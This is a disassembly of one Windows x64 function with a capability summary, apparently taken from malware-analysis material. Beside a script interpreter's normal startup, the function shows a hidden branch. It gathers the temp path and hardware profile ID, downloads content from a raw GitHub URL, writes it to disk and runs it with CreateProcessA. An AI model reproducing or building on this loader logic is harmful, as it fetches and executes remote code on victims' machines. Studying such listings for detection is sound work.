Function at 0x14008c7e0
Capabilities:
Create directory
Create process on windows
Get common file path
Get file attributes
Set current directory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x10800
call fcn.1401354c0
sub rsp, rax
lea rdi, [rsp + 0x50]
mov ecx, 0x41ec
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x10810]
mov rax, qword [0x14031eae8]
xor rax, rsp
mov qword [rsp + 0x107f0], rax
mov rax, qword [rsp + 0x10810]
mov byte [rax + 0x78d], 0
mov rax, qword [rsp + 0x10810]
mov byte [rax + 0x78c], 0
cmp qword [rsp + 0x10818], 0
jne 0x14008c863
mov rax, qword [rsp + 0x10810]
mov rax, qword [rax + 0x750]
mov qword [rsp + 0x10818], rax
mov rax, qword [rsp + 0x10810]
cmp dword [rax + 0x788], 0
jne 0x14008c88b
mov rcx, qword [rsp + 0x10818]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rsp + 0x1079c], eax
jmp 0x14008c896
mov dword [rsp + 0x1079c], 0
mov eax, dword [rsp + 0x1079c]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xffffffff
jne 0x14008ce4e
movzx eax, byte [0x14032217f]
test eax, eax
jne 0x14008ce14
mov rax, qword [rsp + 0x10818]
mov qword [rsp + 0x20], rax
lea r9, [0x140285928]
lea r8, str._s_n_s
mov edx, 0x8018
lea rcx, [rsp + 0x70]
call fcn.1400feb20
lea rdx, [rsp + 0x100c0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rsp + 0x100c0]
lea rcx, [rsp + 0x101e8]
call fcn.140071ac0
nop
lea rcx, [rsp + 0x10230]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea rdx, [rsp + 0x10234]
lea rcx, [rsp + 0x10348]
call fcn.140072330
nop
lea rax, [rsp + 0x10758]
mov qword [rsp + 0x10770], rax
lea rax, [rsp + 0x10778]
mov qword [rsp + 0x10790], rax
lea rcx, [rsp + 0x10750]
call fcn.140071630
mov qword [rsp + 0x107a0], rax
mov rdx, qword [rsp + 0x10770]
lea rcx, [rsp + 0x10348]
call fcn.14009ec10
mov qword [rsp + 0x107a8], rax
mov rdx, qword [rsp + 0x10790]
lea rcx, [rsp + 0x10348]
call fcn.14009df60
mov qword [rsp + 0x107b0], rax
mov rax, qword [rsp + 0x107a0]
mov r9, rax
mov r8, qword [rsp + 0x107a8]
mov rdx, qword [rsp + 0x107b0]
lea rcx, [rsp + 0x10388]
call fcn.14006e290
nop
lea rcx, [rsp + 0x10388]
call fcn.1400a0bb0
sub rax, 2
mov r9, rax
mov r8d, 1
lea rdx, [rsp + 0x103b8]
lea rcx, [rsp + 0x10388]
call fcn.1400a0ca0
mov qword [rsp + 0x107b8], rax
mov rdx, qword [rsp + 0x107b8]
lea rcx, [rsp + 0x10388]
call fcn.140074e20
lea rcx, [rsp + 0x103b8]
call fcn.140074290
lea rdx, str.guoaealckeoalcmajlfdbasfbhltkwhoyrp
lea rcx, [rsp + 0x10418]
call fcn.140071ac0
nop
lea r8, [rsp + 0x10418]
lea rdx, [rsp + 0x10388]
lea rcx, [rsp + 0x103e8]
call fcn.14009eed0
nop
lea rcx, [rsp + 0x10418]
call fcn.140074290
lea r8, [rsp + 0x103e8]
lea rdx, [rsp + 0x101e8]
lea rcx, [rsp + 0x10478]
call fcn.14006e610
mov qword [rsp + 0x107c0], rax
mov rax, qword [rsp + 0x107c0]
mov qword [rsp + 0x107c8], rax
lea r8, [0x140283d24]
mov rdx, qword [rsp + 0x107c8]
lea rcx, [rsp + 0x104a0]
call fcn.14006e5b0
mov qword [rsp + 0x107d0], rax
mov rax, qword [rsp + 0x107d0]
mov qword [rsp + 0x107d8], rax
lea r8, [rsp + 0x103e8]
mov rdx, qword [rsp + 0x107d8]
lea rcx, [rsp + 0x10448]
call fcn.14006e550
nop
lea rcx, [rsp + 0x104a0]
call fcn.140074290
nop
lea rcx, [rsp + 0x10478]
call fcn.140074290
lea rcx, [rsp + 0x10448]
call fcn.14009e000
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
mov rdx, rax
lea rcx, [rsp + 0x104e0]
call fcn.140071690
nop
mov rax, qword [rsp + 0x104e0]
movsxd rax, dword [rax + 4]
lea rax, [rsp + rax + 0x104e0]
mov rcx, rax
call fcn.14009f340
mov byte [rsp + 0x105f4], al
lea rdx, [rsp + 0x103e8]
lea rcx, [rsp + 0x101e8]
call fcn.140075820
lea rcx, [rsp + 0x101e8]
call fcn.14009e000
mov rcx, rax
call fcn.14020b530
lea rdx, [rsp + 0x10448]
lea rcx, [rsp + 0x101e8]
call fcn.140074ea0
lea rdx, str.https:__github.com_Fopa45_gameproject_raw_main_main.cpp
lea rcx, [rsp + 0x10608]
call fcn.14007d360
nop
lea rcx, [rsp + 0x10608]
call fcn.14009e4b0
lea rcx, [rsp + 0x101e8]
call fcn.14009e000
lea rdx, [0x140283d44]
mov rcx, rax
call fcn.1402070a0
mov qword [rsp + 0x10638], rax
mov dword [rsp + 0x10640], 0
jmp 0x14008cbfc
mov eax, dword [rsp + 0x10640]
inc eax
mov dword [rsp + 0x10640], eax
movsxd rax, dword [rsp + 0x10640]
mov qword [rsp + 0x107e0], rax
lea rcx, [rsp + 0x10608]
call fcn.1400a0bb0
mov rcx, qword [rsp + 0x107e0]
cmp rcx, rax
jae 0x14008cc52
movsxd rax, dword [rsp + 0x10640]
mov rdx, rax
lea rcx, [rsp + 0x10608]
call fcn.140075040
movsx eax, byte [rax]
mov rdx, qword [rsp + 0x10638]
mov ecx, eax
call fcn.140207560
jmp 0x14008cbec
mov rcx, qword [rsp + 0x10638]
call fcn.1402055d0
movzx eax, byte [rsp + 0x105f4]
test eax, eax
jne 0x14008cce3
mov dword [rsp + 0x10798], 0
lea rcx, [rsp + 0x10608]
call fcn.140074290
nop
lea rcx, [rsp + 0x104e0]
call fcn.140075850
nop
lea rcx, [rsp + 0x10448]
call fcn.140074290
nop
lea rcx, [rsp + 0x103e8]
call fcn.140074290
nop
lea rcx, [rsp + 0x10388]
call fcn.140074290
nop
lea rcx, [rsp + 0x10348]
call fcn.140074330
nop
lea rcx, [rsp + 0x101e8]
call fcn.140074290
mov eax, dword [rsp + 0x10798]
jmp 0x14008d0bc
lea rdx, [rsp + 0x101e8]
lea rcx, [rsp + 0x10658]
call fcn.1400719c0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x106a0]
call fcn.140189370
mov dword [rsp + 0x106a0], 0x68
mov r8d, reloc.OLEAUT32.dll_SafeArrayGetElement
xor edx, edx
lea rcx, [rsp + 0x10728]
call fcn.140189370
lea rcx, [rsp + 0x10658]
call fcn.14009e000
lea rcx, [rsp + 0x10728]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x106a0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.WSOCK32.dll_recv
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x10728]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x10730]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x10658]
call fcn.140074290
nop
lea rcx, [rsp + 0x10608]
call fcn.140074290
nop
lea rcx, [rsp + 0x104e0]
call fcn.140075850
nop
lea rcx, [rsp + 0x10448]
call fcn.140074290
nop
lea rcx, [rsp + 0x103e8]
call fcn.140074290
nop
lea rcx, [rsp + 0x10388]
call fcn.140074290
nop
lea rcx, [rsp + 0x10348]
call fcn.140074330
nop
lea rcx, [rsp + 0x101e8]
call fcn.140074290
jmp 0x14008ce44
mov rax, qword [rsp + 0x10810]
add rax, 0x750
mov qword [0x140323198], rax
lea r8, [0x140283d7c]
lea rdx, str.Script_file_not_found.
mov rcx, qword [rsp + 0x10810]
call fcn.140021a00
mov eax, 0xffffffff
jmp 0x14008d0bc
mov rax, qword [rsp + 0x10810]
cmp dword [rax + 0x788], 2
jne 0x14008ce70
lea rax, [0x140283d94]
mov qword [rsp + 0x107e8], rax
jmp 0x14008ce80
mov rax, qword [rsp + 0x10818]
mov qword [rsp + 0x107e8], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x107e8]
mov rcx, qword [rsp + 0x10810]
call fcn.140090040
test eax, eax
jne 0x14008cea9
mov eax, 0xffffffff
jmp 0x14008d0bc
mov byte [0x14032153f], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
test eax, eax
jne 0x14008cee1
lea r8, [0x140283e14]
lea rdx, [0x140285a30]
mov rcx, qword [rsp + 0x10810]
call fcn.140021a00
mov eax, 0xffffffff
jmp 0x14008d0bc
mov rax, qword [rsp + 0x10810]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x10810]
call fcn.1400983f0
test eax, eax
je 0x14008cf4e
mov rax, qword [rsp + 0x10810]
add rax, 0x40
mov rdx, rax
mov rcx, qword [rsp + 0x10810]
call fcn.1400982e0
test eax, eax
je 0x14008cf4e
mov rax, qword [rsp + 0x10810]
add rax, 0x20
mov rdx, rax
mov rcx, qword [rsp + 0x10810]
call fcn.1400982e0
test eax, eax
je 0x14008cf4e
mov rcx, qword [rsp + 0x10810]
call fcn.140098580
test eax, eax
jne 0x14008cf58
mov eax, 0xffffffff
jmp 0x14008d0bc
mov rax, qword [rsp + 0x10810]
add rax, 0x40
mov rdx, rax
mov rcx, qword [rsp + 0x10810]
call fcn.140098880
test eax, eax
je 0x14008cf98
mov rax, qword [rsp + 0x10810]
add rax, 0x20
mov rdx, rax
mov rcx, qword [rsp + 0x10810]
call fcn.140098880
test eax, eax
jne 0x14008cfa2
mov eax, 0xffffffff
jmp 0x14008d0bc
mov rax, qword [rsp + 0x10810]
mov rcx, qword [rax + 0x40]
call fcn.1401a7da0
mov rax, qword [rsp + 0x10810]
cmp qword [rax + 0x2b8], 0
je 0x14008d017
mov rcx, qword [rsp + 0x10810]
call fcn.140099d10
test eax, eax
jne 0x14008cfe0
mov eax, 0xffffffff
jmp 0x14008d0bc
mov rax, qword [rsp + 0x10810]
mov rax, qword [rax + 0x2b8]
mov rcx, qword [rsp + 0x10810]
mov rcx, qword [rcx + 0x2b8]
mov rax, qword [rax]
call qword [rax + reloc.WSOCK32.dll_recv]
mov rax, qword [rsp + 0x10810]
mov qword [rax + 0x2b8], 0
mov rax, qword [rsp + 0x10810]
mov rcx, qword [rax + 0x758]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov r8, 0xffffffffffffffff
mov rax, qword [rsp + 0x10810]
mov rdx, qword [rax + 0x758]
lea rcx, [0x140321838]
call fcn.140099f50
mov byte [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov dl, 7
mov rcx, qword [rsp + 0x10810]
call fcn.1400779a0
test eax, eax
jne 0x14008d07c
mov eax, 0xffffffff
jmp 0x14008d0bc
mov rax, qword [rsp + 0x10810]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x10810]
call fcn.140097a30
test rax, rax
jne 0x14008d0a0
mov eax, 0xffffffff
jmp 0x14008d0bc
mov rax, qword [rsp + 0x10810]
movzx eax, byte [rax + 0x794]
test eax, eax
je 0x14008d0b7
xor eax, eax
jmp 0x14008d0bc
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x14028a640]
call fcn.140134a00
mov rax, rdi
mov rcx, qword [rsp + 0x107f0]
xor rcx, rsp
call fcn.140135520
add rsp, 0x10800
pop rdi
ret